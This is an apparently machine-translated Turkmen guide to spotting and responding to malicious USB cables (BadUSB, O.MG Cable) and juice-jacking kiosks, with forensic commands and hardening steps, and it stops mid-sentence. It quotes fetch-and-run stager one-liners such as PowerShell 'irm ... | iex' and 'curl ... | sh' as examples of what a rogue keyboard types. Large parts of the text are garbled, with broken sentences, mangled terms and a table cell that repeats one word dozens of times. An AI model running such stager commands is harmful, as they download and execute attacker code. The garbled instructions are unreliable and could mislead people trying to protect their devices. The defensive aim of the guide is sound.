Zyýanly USB kabelleri (HID Injection / BadUSB) we köpçülikleýin kiosk goragy¶
Gyssagly kömek belgileri ýurt boýunça tapawutlanýar. Bu sahypa ABŞ we Kanada üçin 911 belgisini ulanýar. Beýleki köp ýurt 112, 999 ýa-da başga bir belgini ulanýar. Yoururduňyz üçin belgini tapyň.
Noutbukyňyzy, smartfonyňyzy ýa-da planşetiňizi myhmanhana stolunda, howa menziliniň derwezesinde, arka oturgyçda ýa-da konferensiýa sumkasynda galan nätanyş USB-C ýa-da ningyldyrym zarýad şnuryna dakmak ýa-da Windows Run gepleşik penjiresini görmek (Win + R), PowerShell penjiresi ýa-da macOS Terminal fleşkasy 500 millisekuntda we USB kabelini, fleş diskini ýa-da görkeziş basanyndan bir minutda 1000 söz ýazyp başlamak, ** BadUSB / HID (Adam interfeýs enjamy) düwmesine sanjym hüjümi ** ýa-da ** Köpçülikleýin Kiosk ekspluatasiýasy ("Şireli Jacking"). Wirusa garşy skanerleriň açylmazdan ozal barlap bilýän barmak diskinde faýl görnüşinde saklanylýan adaty zyýanly programma üpjünçiliginden tapawutlylykda, ** O.MG Kabel **, ** USB Kauçuk Daky **, ** Flipper Zero BadUSB **, ** Bash Bunny **, we ** USBHarpoon ** kiçijik mikrokontroller we Wi-Fi radio enjamy bar. millimetr ýa-da uzynlygy 0,47 dýuým).
Kompýuteriňize ýa-da gulpy açylmadyk smartfona dakylanda, şol gizlin mikrokontrol operasiýa ulgamyňyza ammar sürüjisi ýa-da güýçlendiriji hökmünde yglan etmeýär. Munuň ýerine USB-de sanalýar D+ we D- standart nokatlar hökmünde maglumat nokatlary ** USB HID klawiaturasy (Class 0x03) ** ýa-da USB USB Ethernet Network Adapter (RNDIS / ECM) **. Windows, macOS, Linux, iOS we Android täze gurlan klawiaturalara draýwer ýa-da wirusa garşy skaner talap etmezden özbaşdak ynanýandyklary sebäpli, kabel derrew düwmeleriň öňünden meýilleşdirilen yzygiderliligini otlaýar (Win + R -> powershell -w hidden -ep bypass ... Windows-da ýa-da Cmd + Space -> Terminal macOS-da) ýa-da hüjümçiniň 90 metr (300 fut) aralygyndaky telefonda "ecuteerine ýetir" düwmesine basan pursatynda uzakdan dolandyrylýan Wi-Fi ýüklemesini döredýär. Has giň simsiz nokat we zarýad beriş portlary bilen bir hatarda syýahat ulgamy howplary üçin hem biziň bilen maslahatlaşyň köpçülige açyk Wi-Fi, Erbet Ekiz we şireli gaplaýyş gorag gollanmasy. Fiziki howplar ýa-da talamak bilen ýüzbe-ýüz bolsaňyz, ýerli gyssagly kömek belgisine jaň ediň (911 ABŞ-da we Kanadada, 112 Europeanewropa Bileleşiginiň üsti bilen, 999 Angliýada) ýa-da biziňkini görüň gyssagly kömek belgileri katalog. Aşakdaky enjamlary izolýasiýa we kazyýet dikeldiş çärelerine eýeriň.
Indi et¶
- ** Enjamyňyzyň portundan güman edilýän USB kabeli, fleş disk, dok ýa-da zarýad şnuruny GÖRMEK **: Her sekuntda BadUSB ýa-da O.MG Kabeli açylmadyk kompýutere ýa-da telefona dakylýar, içerki mikrokontrolara (ýa-da kabeliň gizlin içerki Wi-Fi nokadyna birikdirilen ýakyn hüjümçi, açar düwmesine ýa-da USB kanalyna birikdirilýär) daşarky klawiaturada ýazan her parolyňyzy ýazga alýar.
- ** Zeper ýeten noutbugy ýa-da telefony şu wagt Wi-Fi, Ethernet we Bluetooth-dan aýryň we şol enjamda parol ýazmaň **: Adaty 2 sekuntlyk BadUSB / Rubber Ducky ýük göterijisi haýal klawiatura interfeýsinde uly programma ýazmaýar; ýerine, PowerShell-e 1 setirli "stager" buýrugyny ýazýar (
iex (irm http://...)) ýa-da macOS Terminal (curl -s http://... | sh) Wi-Fi birikmäňizden doly infostealeri ýa-da uzakdan giriş trojanyny göçürip alýar. Wi-Fi we Ethernet-i kesmek, göçürip almagy derrew öldürýär ýa-da eksfiltrasiýany bes edýär. - ** Eger iPhone / iPad-da "Bu kompýutere ynan" düwmesine bassaňyz ýa-da köpçülikleýin zarýad beriji kioskda Android telefonyňyzda "Faýl geçirişine (MTP) / USB çözüwine rugsat beriň" (ADB) saýlasaňyz, ynamy derrew ýatyryň **:
- ** iPhone / iPad-da **: Şnury aýryň, ** Sazlamalar> Öndüriji ** (Sazlamalaryň aşagynda görünýän bolsa) -> ** Ygtybarly kompýuterleri arassalamak ** düwmesine basyň. Öndüriji görünmeýän bolsa, ** jübütleri kriptografiki taýdan süpürýän ** Sazlamalar> Umumy> iPhone geçirmek ýa-da täzeden düzmek> Täzeden düzmek> Locationerleşiş we Gizlinlik ** sahypasyna giriň.
lockdowndhost jübütlemek ýazgylary, şonuň üçin hiç bir kompýuter ýa-da kiosk hiç wagt giriş koduňyz bolmasa iPhone ätiýaçlyk nusgasyna girip bilmez. - ** Android-de **: Şnury aýryň, ** Sazlamalar> Ulgam> Öndüriji opsiýalary ** (işledilen bolsa) -> basyň ** USB düzediş ygtyýarnamalaryny yzyna alyň ** we ** Öndüriji opsiýalaryny ** doly ** OFF ** öwüriň.
- ** “BadUSB” düwmesine ýüklemegiň ýükleme gutusyny barlap kompýuteriňize ýaňy ýazanlaryny barlaň (
RunMRU), PowerShell buýruk gündeligi (PSReadLine), we macOS Terminal taryhy **: Gaýtadan açmazdan ozal, awtonom kompýuteriňizde arassa terminal penjiresini açyň we ýasama USB klawiaturanyň biziň ulgamymyzy ulanyp girizen takyk buýrugyny okaň. 2-nji tapgyra kazyýet seljeriş buýruklary. - ** Şübheli USB kabelini ýa-da barmak diskini demir gapda ýa-da Faradaý sumkasynda saklaň ("nämedigini görmek üçin ony haýsydyr bir kompýutere dakmaň") **: Sebäbi O.MG kabelinde 5 wolt alanda güýçlenýän güýçli ESP8266 / ESP32 Wi-Fi geçirijisi bar (dilsiz USB diwar kerpiçine ýa-da batareýa bankyna birikdirilende) ýa-da oňa birikmek ýa-da özüni heläklemek üçin ofis (
Self-Destruct / Wipe) aýratynlygy. Ony doly birikdirmäň. - ** BadUSB ýük göterijisi, hasabyňyza gireniňizde kompýuteriňizde bir skript ýerine ýetiren bolsa, ähli şahsyýet maglumatlaryny aýlaň we aýratyn, arassa enjamdan işjeň sessiýalary ýatyryň **: Sebäbi häzirki BadUSB ýük göterijileriniň 90 göterimi brauzer gutapjyklaryny ele alýan we 3 sekuntda parollary ýatda saklaýan infostealeri açýar. sessiýa gutapjyklaryny ogurlamak we infostealer tokenini ýatyrmak boýunça gollanma arassa smartfondan.
Danger
** Näme üçin "USB prezerwatiw" (Fiziki maglumatlary bloklaýjy) näbelli zarýad portuny ulananyňyzda diňe kepillendirilen apparat päsgelçiligi bolup durýar we Enjamyň tarapyna dakylýan zyýanly kabelden gorap bilmeýär **: Fiziki ** USB Maglumat Blokeri ("USB Kondom") ** merkezi maglumat nokatlarynyň ýerleşýän kiçijik adapteridir.D+ we D- USB-A ýa-da D+/D- we TX/RX USB-C-de ýokary tizlikli zolaklar) fiziki taýdan ýitýär, diňe ýeke galýar VBUS (+ 5V-den + 20V güýç) we GND (ýer) simler birikdirildi. Şeýle-de bolsa, ** maglumat blokirleýjisiniň möhüm ýerinde **: arassa kabeli maglumat bloklaýjysyna dakyp, maglumat bloklaýjysyny howa menziliniň diwar portuna daksaňyz, 100 göterim howpsuz bolarsyňyz. ** aöne zyýanly O.MG Kabelini göni noutbukyňyza ýa-da telefonyňyza daksaňyz we maglumat blokirleýjisini diwar zarýad berijiniň ujuna goýsaňyz, mikrokontrol enjamyňyza dakylýan birikdirijiniň ujunda gizlenýär **, şonuň üçin diwar maglumat bloklaýjysynyň üsti bilen 5V güýji üpjün edýär we zyýanly maslahat enjamyňyzy döwýär. Elmydama maglumat bloklaýjysyny ** göni telefonyňyza ýa-da noutbuk portuňyza dakyň ýa-da öz barlanan kabeliňizi we AC diwar kerpiçini göteriň.
Karar agajy: zyýanly USB kabeline ýa-da köpçülikleýin kiosk täsirine şübhelenmek¶
Ynamsyz USB kabeline, dok, baş barmak sürüjisine ýa-da köpçülikleýin zarýad bekedine birikdirilenden soň enjamyňyzyň bozulandygyny ýa-da ýokdugyny anyklamak üçin bu taktiki akym çyzgysyny ulanyň:
flowchart TD
Event["Näbelli USB kabeline dakyldy, tapylan fleş disk, myhmanhana / howa menzili kiosk ýa-da ekranda terminaly gördi / penjire fleşini işlediň"] --> Unplug["1-nji ädim: USB kabelini / enjamyny derrew aýryň we Wi-Fi / Ethernet-i aýryň"]
Unplug --> WhatDevice{"Näbelli USB simine ýa-da portuna haýsy enjam dakyldy?"}
WhatDevice -->|"Windows, macOS ýa-da Linux noutbuk / iş stoly"| ScreenLocked{"Kompýuteriň ekrany dakylanda gulplandymy ýa-da açylmadymy?"}
WhatDevice -->|"iPhone / iPad (iOS / iPadOS)"| iOSState{"“IPhone” açyldymy, “Ynam” düwmesine basdyňyzmy ýa-da ýazuwy gördüňizmi?"}
WhatDevice -->|"Android Smartfon / Planşet"| AndroidState{"Telefon açyldymy ýa-da 'USB çözüw (ADB)' açykmy?"}
ScreenLocked -->|"Gulpy açylmadyk (Iş stoluna girildi)"| AssumeHID["I HIGH GOWY TÖWEKGELÇILIK: BadUSB / O.MG Kabeli açar urgularyny (Win + R / Cmd + giňişligi) <1.5 sekuntda haýsydyr bir gyssagly ýerine ýetirip biler -> 2-nji tapgyra kazyýet barlagyna geçiň"]
ScreenLocked -->|"Gulply (Parol ekrany)"| NetworkDMA["Thunderbolt / PCIe DMA ýa-da USB Ethernet (RNDIS / DHCP Zäherlenmesi) ýüze çykandygyny barlaň; Düwmeler düwmesi, parolyňyz bolmasa gulp ekranyndan aýlanyp bilmeýär"]
iOSState -->|"Bütin wagty gulplady (iOS 15+ / USB çäklendirilen re) im)"| iOSSafe["HOWPSUZ: “Apple” -iň “USB çäklendirilen tertibi” gulplanan iPhonlarda maglumat nokatlaryny fiziki taýdan öçürýär -> Diňe güýç geçdi"]
iOSState -->|"Gulpy açylmadyk we basylan 'Ynam' (Sa-da Safari / Salgylanmalar açyk)"| iOSRevoke["Derrew işlediň: Sazlamalar> Umumy> iPhone geçirmek ýa-da täzeden düzmek> Täzeden düzmek> Locationerleşişini üýtgetmek we Gizlinlik + Audit gysga ýollar programmasy"]
AndroidState -->|"Bütin wagty gulplady (Diňe zarýad bermek tertibi)"| AndroidSafe["HOWPSUZ: Döwrebap Android 'Maglumat geçiriş ýok (Diňe zarýad)' -> Maglumat geçmedi"]
AndroidState -->|"Ekranyň açylmadyk görnüşi we tassyklanan ADB / MTP"| AndroidRevoke["Öndüriji opsiýalaryny öçüriň -> USB çözüwini ýatyryň -> Gurlan programmalary we Chrome ýüklemelerini barlaň"]
BadUSB, O.MG kabelleri we köpçülikleýin zarýad hüjümleriniň hakykatda nähili işleýändigine düşünmek¶
Özüňizi netijeli goramak we hakyky enjam implantasyna täsir etmezlik we zyýansyz zarýad beriş portlaryndan gorkmazlyk üçin hüjümçileriň USB arkaly ulanýan üç aýratyn tehniki mehanizmine düşünmeli:
1. BadUSB / HID düwme urmagy (HID)O.MG Cable, Rubber Ducky, Flipper Zero)¶
- ** USB-iň esasy dizaýn kemçiligi **: alhliumumy seriýa awtobusy (
USB) spesifikasiýa, bir fiziki birleşdirijiniň sanalýan wagtynda özüni islendik enjam synpy hökmünde yglan etmegine mümkinçilik berýär (bInterfaceClass), ýa-da ** Kompozit enjam hökmünde ** (özüni bir wagtyň özünde USB Flash Drive * we * USB klawiatura diýip yglan etmek). - ** O.MG kabeliniň ýa-da zyýanly zarýad berijiniň içinde **: Görnüşe görä, O.MG kabeli hakyky örülen ýa-da ak Apple USB-C-to-USB-C, USB-C-to-ýyldyrym ýa-da USB-A kabelinden 100 göterim tapawutlanýar. Telefonyňyzy zarýad alýar we maglumatlary adaty geçirýär. Şeýle-de bolsa, işjeň birikdirijiniň ujunda 802.11 Wi-Fi we fleş saklaýjy mikroskopik goşa ýadroly mikrokontrol bar:
- ** Işjeň açar urmagy **: Kabeli açylmadyk Windows PC, Mac ýa-da smartfona dakanyňyzdan soň, kabel umumy ** HID klawiatura ** hökmünde sanalýar we sekuntda 850 simwol ýazýar (
DuckyScript). 1.5 sekundyň içinde basýarWin + R(Windows) ýa-daCmd + Space(Mac), gizlin fon gabygyny işe girizýär, ýük ýükleýär we penjiräni ýapýar. - ** Inline Hardware Keylogger (Daşarky USB klawiaturalary üçin) **: Eger bir hüjümçi daşarky mehaniki klawiaturany iş stoluňyza birikdirýän USB kabelini O.MG kabeli bilen çalyşsa, implant simiň ortasynda sessiz oturýar we ** 650,000 açar düwmesini ** ýazýar (Bitwarden / 1Password Master Paroly, Windows login PIN-i, Windows login PIN-i, Windows login PIN-i, şol bir wagtyň özünde Windows login PIN) Wi-Fi arkaly gurmak.
- ** Geofensial we wagt gijikdirilen ýük ýükleri **: Baglanan dessine ýük göterijisini ýazýan ýönekeý 50 dollarlyk USB Kauçuk Dakydan tapawutlylykda, O.MG Kabeli, korporatiw Wi-Fi toruňyzy anyklaýança adaty zarýad şnury hökmünde ** gün ýa-da hepde ** doly işlemeýär.
BSSIDgeofencing) ýa-da hüjümçi içerki web UI arkaly uzakdan herekete getirýänçä.
2. USB tor adapterini ogurlamak (RNDIS / CDC-ECM / PoisonTap / Bash Bunny)¶
- Noutbukyňyzyň ekrany ** gulplanan hem bolsa (
Win + Lýa-daCtrl + Cmd + Q) ** şonuň üçin galp USB klawiaturasy terminaly penjire açyp bilmeýär, zyýanly USB enjamyny gulplanmadyk USB maglumat portuna dakmak, enjamy ** -okary ähmiýetli Gigabit USB Ethernet Adapteri hökmünde sanamaga mümkinçilik berýär (USB RNDISýa-daCDC-ECM) **. - Windows we macOS täze birikdirilen simli Ethernet interfeýsini Wi-Fi-dan awtomatiki usulda ileri tutýandygy sebäpli, USB enjamy DHCP arkaly noutbukyňyzyň esasy şlýuzasyna öwrülýär (
0.0.0.0/1), şifrlenen ýerli tor trafigini saklaýar, jogap berýärWPAD/LLMNR/mDNStalaplar, ýa-da HttpOnly däl fon brauzer gutapjyklary.
3. Jemgyýetçilik köşk "Şiresi jaklamak" (MTP / PTP / iOS lockdownd / Android ADB)¶
- Smartfony köpçülige açyk USB portuna dakanyňyzda (howa menzilinde, demir ýol menzilinde, myhmanhanada ýa-da awtoulag kireýine beriş bölüminde) adaty maglumatly kabel ulanyp:
- ** Awtomatiki usulda petiklenýän zat **: ** iOS 11.4.1 / iOS 15+ (
USB Restricted Mode) ** we ** Android 9+ (Charge-Only Default) **, telefony USB maglumat portuna dakmak ** suratlaryňyzy ýa-da faýllaryňyzy awtomatiki görkezmeýär. Telefonyň gulpuny açýançaňyz we "" Bu kompýutere ynanyň "(üstesine-de, iPhone Passcode-yňyzy giriziň) ** aç-açan basyň ýa-da Android-iň USB habarnamasyny el bilen geçiriň * Maglumat geçiriş ýok * -dan * Faýl geçirişine (MTP) * ýa-da * USB çözüwine rugsat beriň *. - ** Asyl howp jemgyýetçilik köşklerinde **:
- ** “ChoiceJacking” we açylmadyk telefonlara sanjym **: Graz Tehnologiýa Uniwersitetiniň howpsuzlyk gözlegçileriniň görkezişi ýaly (
ChoiceJacking), eger zyýanly köpçülikleýin USB portuna dakanyňyzda, telefonyňyz ** eliňizde ** açylsa, kiosk ilki bilen ** USB klawiaturasy hökmünde sanap biler (HID) ** 200 millisekunt üçin we takyk iberiňTab/Enterýa-da host maglumat geçiriş tertibine geçmezden ozal ekranyňyzdaky "Rugsat / Faýl geçirişine" basmak üçin ** basmak üçin zerur düwmeler. - ** Hapa güýç / aşa woltly enjamlaryň zaýalanmagy (
USB Killer) **: Päsgelçilikli köpçülikleýin USB porty, kondensator bankyndan 200V DC gönüden-göni telefonyňyzyň USB-C kontrol çipine taşlap, logika tagtasyny hemişelik gowurýar.
- ** “ChoiceJacking” we açylmadyk telefonlara sanjym **: Graz Tehnologiýa Uniwersitetiniň howpsuzlyk gözlegçileriniň görkezişi ýaly (
Deňeşdirme matrisi: USB gorag enjamlary we OS goraglary¶
| Ssenariýa / Howp wektory | Fiziki USB maglumat bloklaýjysy ("USB prezerwatiw") ony saklaýarmy? | OS "USB çäklendirilen re" im "(Gulply ekran) ony saklaýarmy? | Iň oňat 100% ygtybarly alternatiw |
|---|---|---|---|
| ** 1. Aeroport / myhmanhana / uçar / Içerki USB porty (öz ygtybarly kabeliňizi ulanyp) ** | ** Hawa (100%) **: Fiziki taýdan kesýär D+/D- we TX/RX maglumat setirleri, şonuň üçin ne ChoiceJacking, BadUSB, ne-de maglumatlary sinhronlamak adapterden geçip bilmez. |
** HAWA ** (eger telefon gulplanan bolsa ýa-da macOS / Windows USB-C Aksesuar tassyklamasy * Her gezek soraň *). | Özüňiziň ** AC / DC diwar adapter kerpiçiňizi adaty 110V / 230V AC rozetkasyna dakyň ýa-da özüňiziň ** Şahsy güýç bankyndan zarýad alyň. |
| ** 2. Näbelli / Karz alnan / "Tapyldy" USB-C ýa-da ýyldyrym kabeli (O.MG kabel töwekgelçiligi) ** | ** DILYE BOLAN BOLAN BOLAN BOLAN BOLAN BOLAN BOLAN BOLAN BOLAN BOLAN BOLAN BOLAN BOLAN BOLAN BOLAN BOLAN BOLAN BOLAN BOLAN BOLAN BOLAN BOLAN BOLAN BOLAN BOLANOK | ** ** OK ** kabel dakylanda we OS Aksessuar tassyklamasy açyk däl wagtynda noutbukyňyzy / telefonyňyzy açsaňyz. | ** Hiç haçan tapylan, peşgeş berlen ýa-da karz alnan kabelleri ulanmaň. |
| ** 3. Zyýanly USB fleş disk, prezentasiýa basmak ýa-da syçan ** | ** N / A ** (Maglumat bloklaýjy fleş diskiň ýa-da syçanyň asla işlemegini bes eder). | ** * OK ** kompýuteriň gulpuny açanyňyzdan we USB garniturasynyň birikmegine rugsat bereniňizden soň. | USB HID bilen izolirlenen sandbox / VM-iň içinde ynamsyz USB diskleri barlaň (Class 0x03) Topar syýasaty arkaly petiklenýär ýa-da udev düzgünleri. |
** 4. Capacokary woltly ululyk (USB Killer) Sabotaged portda ** |
** ** OK ** ($ 7 passiw maglumat bloklaýjylary henizem geçýär VBUS we GND göni; diňe TVS diodlary / sigortalary bolan işjeň izolirlenen ulaldylan gorag blokatorlary 200V ulalmagy bes edýär). |
** ** OK ** (Bu anakartdaky elektrik enjamlary hüjümi). | Hiç haçan gönüden-göni köpçülikleýin USB ýerlerine dakmaň; AC diwar güýçlendirijisini ýa-da batareýa paketini ulanyň. |
1-nji tapgyra: Zyýanly USB kabelini wizual we elektrik taýdan nädip tapmaly (O.MG kabel barlagy)¶
Ofisiňizde iş stolunyň kompýuter klawiaturasynyň arka tarapyna ýa-da syýahat sumkanyňyzyň içine şübheli USB kabeli tapsaňyz, enjamyň ýerleşdirilendigini ýa-da ýokdugyny anyklamak üçin şu dört ädimi ýerine ýetiriň:
- ** Synag # 1: Dowamlylygyny ölçäň ýa-da enjam kabel synagçysyny ulanyň (
O.MG Malicious Cable Detector/Bleeping / Hak5 Tester) **: - Adaty passiw USB-A-to-USB-C, USB-A-to-ýyldyrym ýa-da E-markasyz USB-C zarýad beriş kabellerinde diňe bir ujy toga dakylanda işjeň mikroprosessor ýok.
- ** O.MG Zyýanly kabel detektory ** (ýa-da USB tok / protokol analizatory ýaly
Power-Z KM003C) tok çeşmesi bilen kabeliň arasynda oturýar ** kabeliň iň ujuna hiç zat birikdirilmedik **:- Kabel 5V-de ** 30-dan 120 milliamp (mA) tok çekse, beýleki ujuna hiç zat dakylmasa ** ýa-da USB bilen gepleşik geçirjek bolsa
D+/D-sanamagyň özi, ** kabel kellesiniň içinde gizlenen işjeň kompýuter / Wi-Fi radio bar **.
- Kabel 5V-de ** 30-dan 120 milliamp (mA) tok çekse, beýleki ujuna hiç zat dakylmasa ** ýa-da USB bilen gepleşik geçirjek bolsa
- ** Synag # 2: Gizlin Wi-Fi giriş nokatlaryny barlaň (
O.MGBellenen SSID ýa-da ESP32 MAC prefiksleri) **: - O.MG Kabeller we simsiz BadUSB implantlary ** Espressif (
ESP8266/ESP32-S2/ESP32-C3) ** Birikdiriji gabygyň içindäki Wi-Fi çipi. - Uzakdaky / izolirlenen meýdanyň içinde izolirlenen USB batareýa bankyny ulanmak (hiç haçan kompýuteriňiz däl), konfigurasiýa edilmedik ýa-da deslapky O.MG kabelini işletmek köplenç 2.4 GGs Wi-Fi toruny (deslapky SSID) ýaýlyma berýär
O.MGat192.168.4.1, ýa-da Espressif Inc-e degişli ** MAC Salgy / BSSID OUI bolan gizlin SSID.24:0A:C4,30:AE:A4,84:CC:A8,A0:20:A6,DC:4F:22bozulan bolsa). - ** Synag # 3: Birikdirijiniň aşa uzynlygyny we ýylylyk öndürilişini barlaň **:
- Şübheli kabeliň plastmassa süzgüç gabygyny belli hakyky Apple ýa-da Anker kabeli bilen deňeşdiriň:
- Soňky O.MG Kabel nesilleri “Apple” -iň takyk gabyk ölçeglerine laýyk gelýän bolsa, 5V güýji alanyndan 3 minut soň, işjeň Wi-Fi mikrokontrolyny öz içine alýan birleşdiriji kellesi ** ep-esli ýyly bolar (
35 to 45 degrees Celsius / 95 to 113 degrees Fahrenheit) ** beýleki ujunda hiç hili zarýad berilmese-de, barmaklaryňyzyň ujunyň arasynda. (Uzak ujuna dakylmadyk adaty passiw kabel, otag temperaturasynda bütinleý sowuk bolýar.)
- Soňky O.MG Kabel nesilleri “Apple” -iň takyk gabyk ölçeglerine laýyk gelýän bolsa, 5V güýji alanyndan 3 minut soň, işjeň Wi-Fi mikrokontrolyny öz içine alýan birleşdiriji kellesi ** ep-esli ýyly bolar (
2-nji tapgyra: Kompýuteriňize BadUSB ýa-da O.MG kabeli ýazylan bolsa, kazyýet işi¶
Windows kompýuteriňize, Mac ýa-da Linux noutbukyňyza USB kabelini, baş barmak diskini ýa-da periferiýany daksaňyz we Başlangyç menýusyny gören bolsaňyz, gepleşik penjiresini işlediň (Win + R), Spotlight (Cmd + Space), ýa-da gara / gök terminal penjiresi açyk we ýapyk, ** entek açmaň **. Galp USB klawiaturasynyň nämäni ýazandygyny we haýsy USB Satyjy / Önüm ID-sini görmek üçin bu takyk oflayn buýruklary işlediň (VID:PIDportuňyza birikdirildi:
1. Windows 10 we Windows 11 Kazyýet derňewi (Offline PowerShell-de işlediň)¶
Awtonom Windows PC-de ** PowerShell (Admin) ** açyň we bu dört kazyýet işini ýerine ýetiriň:
# 1. Inspect the exact commands typed into the Windows Run Dialog (Win + R) by the BadUSB keyboard:
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
# 2. Read the persistent PowerShell command history file (captures commands typed into any PowerShell window):
Get-Content (Get-PSReadLineOption).HistorySavePath -Tail 50
# 3. List all USB HID Keyboards and USB Composite Devices recently connected to this PC (with Timestamps & VID/PID):
Get-PnpDevice -Class Keyboard, HIDClass, USB | ForEach-Object {
$prop = Get-PnpDeviceProperty -InstanceId $_.InstanceId -KeyName "DEVPKEY_Device_FirstInstallDate", "DEVPKEY_Device_LastArrivalDate" -ErrorAction SilentlyContinue
if ($prop) {
[PSCustomObject]@{
FriendlyName = $_.FriendlyName
Status = $_.Status
InstanceId = $_.InstanceId
FirstInstall = ($prop | Where-Object KeyName -match "FirstInstallDate").Data
LastArrival = ($prop | Where-Object KeyName -match "LastArrivalDate").Data
}
}
} | Sort-Object LastArrival -Descending | Select-Object -First 20 | Format-Table -AutoSize
# 4. Check Windows Event Log 4104 (PowerShell Script Block Logging) for obfuscated payloads executed in the last 24 hours:
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 30 -ErrorAction SilentlyContinue |
Select-Object TimeCreated, Message | Format-List
- ** Nädip düşündirmeli
Get-ItemProperty ... RunMRU**: - Windows BadUSB / Rubber Ducky skriptleriniň hemmesi diýen ýaly ** basyp başlaýar
Win + R** (GUI rDuckyScript-de) we şuňa meňzeş buýruk ýazmakpowershell -w h -NoP -NonI -Ep Bypass irm https://... | iexýa-dacmd /c curl .... - Scriptazgy pozmaga synanyşsa-da
RunMRUahyrynda, kabeli orta ýerine ýetiren bolsaňyz (ýa-da skript registrini arassalamasa), takyk zyýanly URL we buýruk içerde oturarRunMRU(a,b,cbahalary) ýa-da içerdeConsoleHost_history.txt.
2. “Apple macOS” kazyýet seljermesi (Offline Terminalda işlediň)¶
MacOS-da BadUSB ýük göterijileri adatça ** basyňCmd + Space** (GUI SPACE) ýazyň Terminal, basyň Enterwe a curl ýa-da osascript bir çyzykly:
# 1. Check your Zsh and Bash command history for any command injected by the fake USB keyboard:
tail -n 50 ~/.zsh_history ~/.bash_history 2>/dev/null
# 2. Query the macOS Unified Log for all USB device attach events and VID/PID enumerations in the last 2 hours:
log show --predicate 'subsystem CONTAINS "usb" OR process == "kernel"' --info --last 2h | grep -iE "USB|AppleUSB|VID|PID|HID|Keyboard|O.MG"
# 3. Check recently modified LaunchAgents and /tmp payloads:
ls -laht ~/Library/LaunchAgents /Library/LaunchAgents /tmp /var/tmp | head -n 30
3. Linux kazyýet seljermesi (dmesg & journalctl)¶
# Inspect kernel USB enumeration logs to see if a charging cable or thumb drive secretly registered as an "input: ... Keyboard" (HID):
sudo journalctl -k --since "2 hours ago" | grep -iE "usb|hid|input|keyboard|rndis|cdc_ether"
tail -n 50 ~/.bash_history ~/.zsh_history 2>/dev/null
Aboveokardaky ýazgylaryň haýsydyr biri muny görkezýän bolsa powershell, cmd, mshta, curl, wget, ýa-da osascript internete birikdirilende ýerine ýetirilen buýruk, infostealer ýa-da yzygiderli açyk howada işledi: biziň ulanyp ähli sessiýalary ýatyryň sessiýa gutapjyklaryny ogurlamak we maglumat beriji gollanma we yzymyzdan arassa OS täzeden gurmagy ýerine ýetiriň zyýanly programma üpjünçiligi, töleg programma üpjünçiligi we içaly programma üpjünçiligi ýokaşma gollanmasy.
3-nji etap: Enjamlaryňyzy gulplamak, BadUSB kabelleri hiç wagt awtomatiki ýerine ýetirip bilmez¶
Häzirki zaman operasiýa ulgamlary, BadusB, O.MG Kabelleri we Kauçuk Ördekleri ** bir bitewi nyşan ýazmazdan ozal doly güýçlendirilen içerki enjam port gulplaryny öz içine alýar: şol sazlamalary açsaňyz:
1. Apple macOS (Apple Silicon M1 / M2 / M3 / M4 MacBooks): "Täze garnituralary soraň" -y açyň.¶
“MacOS Wentura”, “Sonoma” ýa-da “Sequoia” -da işleýän “Apple Silicon Macs” -da “Apple” ** "Rugsat" ** düwmesine aç-açan basýançaňyz, islendik täze USB kabeliniň ýa-da enjamyň klawiatura hökmünde sanalmagyny bökdeýän enjam derejesindäki USB-C / Thunderbolt port ygtyýarnamasyny hödürledi.
1. Açyň ** Apple menýusy ()> Ulgam sazlamalary> Gizlinlik we Howpsuzlyk **.
2. ** Howpsuzlyk ** bölümine aşak aýlaň we ** "Garnituralaryň birikmegine rugsat beriň" ** tapyň.
3. Gulpy açylanda * awtomatiki usulda üýtgediň * ** "Täze garnituralary soraň" ** (ýa-da ýokary howpsuzlyk syýahatyny goramak üçin ** "Her gezek soraň" **).
4. ** Näme üçin bu Mac-da O.MG kabellerini sowadýar : Aldawçy O.MG zarýad kabelini * "Her gezek sora" * ýa-da * "Täze garnituralary soraň" * birikdirilen ýagdaýynda, MacBook batareýaňyzy zarýad bermek üçin derrew güýç akýar, ýöne macOS duýduryş gepleşik penjiresini açýar: "Allow accessory '[Device Name]' to connect to this Mac?" Sebäbi adaty passiw zarýad beriş kabeli hiç haçan maglumat garniturasy hökmünde birikmegi soramaýar, ýönekeý zarýad şnuryna dakylanda açylýandygyny görüp, kabeli apparat implantasy hökmünde derrew açýar ** açýançaňyz, düwmeleriniň 100 göterimini bloklaýarsyňyz.
2. “Apple iPhone” we “iPad”: “USB çäklendirilen re” iminiň açykdygyny barlaň¶
- ** Sazlamalar> Face ID we giriş kody ** (ýa-da ** Touch ID & Passcode **) açyň we giriş koduňyzy giriziň.
- ** "Gulplananda girmäge rugsat beriň" ** bölümine aşak aýlaň.
- ** Garnituralar ** (ýa-da ** USB Garnituralary **) gapdalyndaky aç-açanlygyň ** Öçürilen ** (çal) bolandygyna göz ýetiriň.
- ** Garnituralar ** öçürilen ** Öçürilen ** bilen, haçan-da iPhoneyňyz gulplansa, iOS USB maglumat nokatlaryny fiziki taýdan öçürýär, diňe zarýad beriş güýjüniň geçmegine mümkinçilik berýär. ** iPhone ekranyňyzy nätanyş zarýad berijä ýa-da kärende awtoulagyna dakmazdan ozal gapdal düwmesini basyň. **
3. Android 15/16 & GrapheneOS: "Giňişleýin goragy" / USB Port gulpuny açyň¶
- ** Adaty Android-de (Pixel, Samsung Galaxy) **:
- Hiç haçan ** Öndüriji opsiýalary> USB çözüwini goýmaň (
ADB) ** syýahat edeniňizde açyk. - ** Sazlamalar> Howpsuzlyk we gizlinlik> Has köp howpsuzlyk sazlamalary ** (ýa-da Android 15/16 + -da ** Giňişleýin Gorag **), ** USB goragyny işlediň / Täze USB enjamlaryny gulplanyňyzda blokirläň **.
- Islendik köpçülikleýin zarýad beriş portuna birikmezden ozal elmydama ekranyňyzy gulplaň, şonuň üçin ChoiceJacking HID hüjümleri açylmadyk ekran bilen täsirleşip bilmez.
4. Linux we Windows Enterprise: USBGuard we enjamy gurnamagyň çäklendirmeleri¶
- ** Linux-da (
USBGuard) **: Gurnausbguarddaemon (sudo apt install usbguard), täze birikdirilen USB enjamynyň tassyklamagyny bloklaýarbInterfaceClass 03(HID klawiatura) esasy klawiatura eýýäm birikdirilen bolsa ýa-da aç-açan ygtyýar berilýänçäusbguard allow-device. - ** Windows 11 Pro / Enterprise **: ** ernadro DMA goragyny işlediň (
